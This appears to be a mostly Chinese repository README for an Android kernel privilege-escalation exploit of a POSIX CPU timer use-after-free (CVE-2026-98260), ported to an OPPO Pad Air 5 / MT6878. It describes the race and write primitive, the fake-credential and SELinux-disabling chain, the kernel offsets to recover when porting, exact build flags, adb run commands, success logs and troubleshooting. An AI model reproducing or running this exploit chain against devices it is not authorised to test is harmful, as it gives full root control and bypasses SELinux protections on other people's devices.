Android kernel LPE exploit for CVE-2026-98260 (POSIX CPU timer UAF), ported to OPPO Pad Air 5 / MT6878, gaining temporary root and loading KernelSU.
只在你自己的设备上使用。 这是内核 exploit,失败可能 panic/重启;不要在存有未保存数据的设备上运行。临时 root,硬重启后消失。
本仓库原分支 adapt-6.1.157-findx7 面向 OPPO Find X7(6.1.157-android14-11-o-ga8ed1c96e9fd)。当前工作树已实测跑通 OPPO Pad Air 5 / OPD2501 / MT6878(6.1.157-android14-11-o-gd9a844c1f21f)....
本移植建立在 @zjns(Kofua)的 zjns/CVE-2026-98260 及 adapt-6.1.157-findx7 分支之上.
同时感谢 @woshigenm(woshigenm/CVE-2026-98260.
| 项目 | 值 |
|---|---|
| 设备 | OPPO Pad Air 5(OPD2501 / OP6541L1) |
| SoC | MediaTek MT6878(Dimensity 7300 Ultra) |
| 系统 | ColorOS 16 / Android 16 |
| 版本号 | 16.0.5.1200 |
| 指纹 | OPPO/OPD2501/OP6541L1:16/BP2A.250605.015/B.25a6186-6e051-c6049:user/release-keys |
| 内核 | 6.1.157-android14-11-o-gd9a844c1f21f |
| SPL | 2026-08-01 |
| 起始身份 | adb shell,uid 2000,u:r:shell:s0,有 readtracefs |
| KSU 管理器 | ReSukiSU(com.resukisu.resukisu) |
| 测试二进制 | timer/timer(本地构建,未入库) |
只要内核字符串有一个字符不同,就不要直接套用;先按“移植笔记”重新核对常量和 begin_new_exec 顺序。
| 能力 | 命令 | 结果 |
|---|---|---|
| 一次性 real cred root | timer | uid=0、u:r:shell:s0、ROOT_SHELL_OK |
| 交互 root shell | timer shell | uid=0 的 sh(shell 域) |
| ReSukiSU/KSU | timer fake | KSU_LOADED、su → u:r:ksu:s0、Enforcing |
| LKM | grep kernelsu /proc/modules | kernelsu … Live |
实测成功输出(节选):
[+] plant1 target=5398 etid=5410 zombie code=2 status=9
[+] plant1 free_seen=0 burst hit=1 after 11ms
[+] plant1 write mode=fake target=0xffffff8006b6c078
[+] fake cred A=0xffffff815a996cd8 selinux_state=0xffffffdeea27d0a8
[+] stage selinux target=0xffffffdeea27d0a1 mode=zero attempt=1
[+] cred writes landed, waking child
[ksu] ksud=.../com.resukisu.resukisu.../lib/arm64/libksud.so
version=ksud 4.2.0-rc3-34-g9dbce02e (uapi: 5)
[ksu] late-load rc=0
KSU_LOADED
[!] fake cred page held; reboot to clean -- parking without reap (zombie held)
uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
Enforcing
kernelsu 249856 0 - Live 0x0000000000000000 (OE)
CVE-2026-98260 是 exec 路径上的 POSIX CPU timer UAF:非 leader 线程 execve() 触发 de_thread(),timer 节点仍留在旧 task 的队列;如果在 begin_new_exec() 的失败点(unshare_files() / set_mm_exe_file() / exec_mmap() / exec_task_namespaces())之前被 SIGKILL,exit_itimers() 会先释放 k_itimer,之后 release_task() 再对这个已释放节点做 rb_erase()。
CLOCK_THREAD_CPUTIME_ID + execve / de_thread 竞态;父进程/helper 在 exec_mmap 窗口发 SIGKILL。rb_node。rb_erase() 往目标地址写 8 字节。uid/gid),setuid(0) + exec sh → u:r:shell:s0。task->cred 指向 reclaimed 页里的 fake cred(full caps),关 SELinux enforcing,再 ksud late-load 加载 KSU LKM → u:r:ksu:s0。当前内核的 begin_new_exec() 里,posix_cpu_timers_exit() 调用位于 unshare_files/set_mm_exe_file/exec_mmap 之后(0xffffffc0082e6e40),即失败路径先走到 exit_itimers(),漏洞顺序存在。
wait_zombie():0.4s → 4s原分支是 2000 × 200µs = 0.4s。在 MT6878 上,killer_fn 还没等到 exec 线程 TID 消失并发 SIGKILL,父进程就判 no zombie、停 spray、hold child,导致 10/10 都是 no zombie。
改为 20000 × 200µs = 4s 后,killer 正常命中:
[killer] tid=6046 tgid=6041
[killer] killing tgid=6041
[+] plant1 target=6041 etid=6046 zombie code=2 status=9
[+] plant1 free_seen=1 burst hit=1 after 12ms
status=9 即 SIGKILL;free_seen/burst hit 表示 victim page 被 reclaim。killer_fn 的两条日志保留在 timer.c,方便排查。
write_ksu_script() 里原先是 me.weishu.kernelsu;本机装的是 ReSukiSU,需改为 com.resukisu.resukisu,并同步修改:
PKG=com.resukisu.resukisufind … '*/com.resukisu.resukisu*/lib/arm64/libksud.so'--package-name com.resukisu.resukisu--kmi android14-6.1 不变。若换回官方 KernelSU,把这三处改回 me.weishu.kernelsu。
NDK r28c(28.2.13676358),aarch64 / API 35,示例:
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断(不触发 UAF)
adb shell /data/local/tmp/timer ids # page_alloc/page_free 事件 id
adb shell /data/local/tmp/timer leak # base/cred/task 泄漏
# 一次性 real cred root(打印 uid/context/ROOT_SHELL_OK 后退出)
adb shell /data/local/tmp/timer
# 交互 root shell(u:r:shell:s0)
adb shell /data/local/tmp/timer shell
# ReSukiSU/KSU(u:r:ksu:s0)
adb shell /data/local/tmp/timer fake
adb shell /system/bin/su -c 'id; getenforce'
adb shell 'grep "^kernelsu " /proc/modules'
成功标志:
uid=0(root) ... context=u:r:ksu:s0
Enforcing
kernelsu … Live
parked 就硬重启,不要在同一个 boot 里连跑。timer 的 parked 进程/held child。park_forever() 故意忽略 SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE;SIGKILL 会触发 release_task 去碰 stale node,可能直接 panic。硬重启是唯一安全清理。timer fake 成功后 fake cred 页会被 held;硬重启清掉。/data/local/tmp,需要重新 push timer。u:r:shell:s0 仍是 shell 域;需要更完整的 root 用 KSU 的 u:r:ksu:s0。| 现象 | 含义 | 处理 |
|---|---|---|
[-] plant1 no zombie; holding child | child 没在 exec_mmap 窗口被杀 | 检查 wait_zombie 是否 4s;killer 日志;硬重启后再试 |
[-] plant1 victim not captured (recs=0) | 该 CPU 的 trace pipe 没抓到记录 | 用 timer ids 确认;CPU 2;硬重启 |
[!] ... parking without reap (zombie held) | 进程按设计驻留 | 不要 kill;硬重启 |
page event ids not found | trace buffer 太小/状态脏 | 硬重启;确认 trace buffer ≥ 8192 KB |
KSU_MISSING / late-load 失败 | 包名/libksud.so/KMI 不匹配 | 查 pm path com.resukisu.resukisu、lib/arm64/libksud.so、--kmi android14-6.1 |
| 设备直接离线/重启 | 可能 write 阶段 panic | 硬重启;下次先加日志确认 V/A/target |
panic_on_warn 在 fake 链里会被读/写;本机实测为 0。不要在有未保存数据时运行。
begin_new_exec,看 posix_cpu_timers_exit 是否在 de_thread() 后立刻调用(修复版)还是仍在 exec_task_namespaces 之后(漏洞版)。do_timer_create 的 timer 分配 call site(+0xa8 附近,posix_timers_cache 的 kmem_cache_alloc);copy_process 的 task_struct_cachep 分配 call site(+0x160 附近);selinux_state、panic_on_warn、init_cred、root_user、init_user_ns、init_ucounts、init_groups;task_struct.cred 偏移,struct cred / k_itimer / task_struct 大小。wait_zombie 0.4s 在 MT6878 上不够;4s 是本次实测值。不同 SoC/调度可能需要继续调大,先用 killer 日志确认。per_cpu/cpu{g_cpu}/trace_pipe_raw;实测 CPU 2 可用,CPU 0/4 出现 recs=0。用 timer ids/leak 先确认。com.resukisu.resukisu;官方 KernelSU 用 me.weishu.kernelsu。libksud.so 在 pm path 的 APK 同目录 lib/arm64/;late-load 的 --kmi 必须与设备内核匹配(本机 android14-6.1)。echo 1 > /sys/fs/selinux/enforce 恢复 Enforcing;u:r:ksu:s0 下 getenforce 应为 Enforcing。LICENSE。保留上游 @zjns、@woshigenm 的 MIT 版权声明。LICENSE-PREBUILT(预编译文件使用说明,短版);仅约束 Release 里的二进制附件,不约束源码、GitHub 自动生成的源码包,或你自己编译的二进制。LICENSE-PREBUILT 的约束;保留上游版权/许可声明。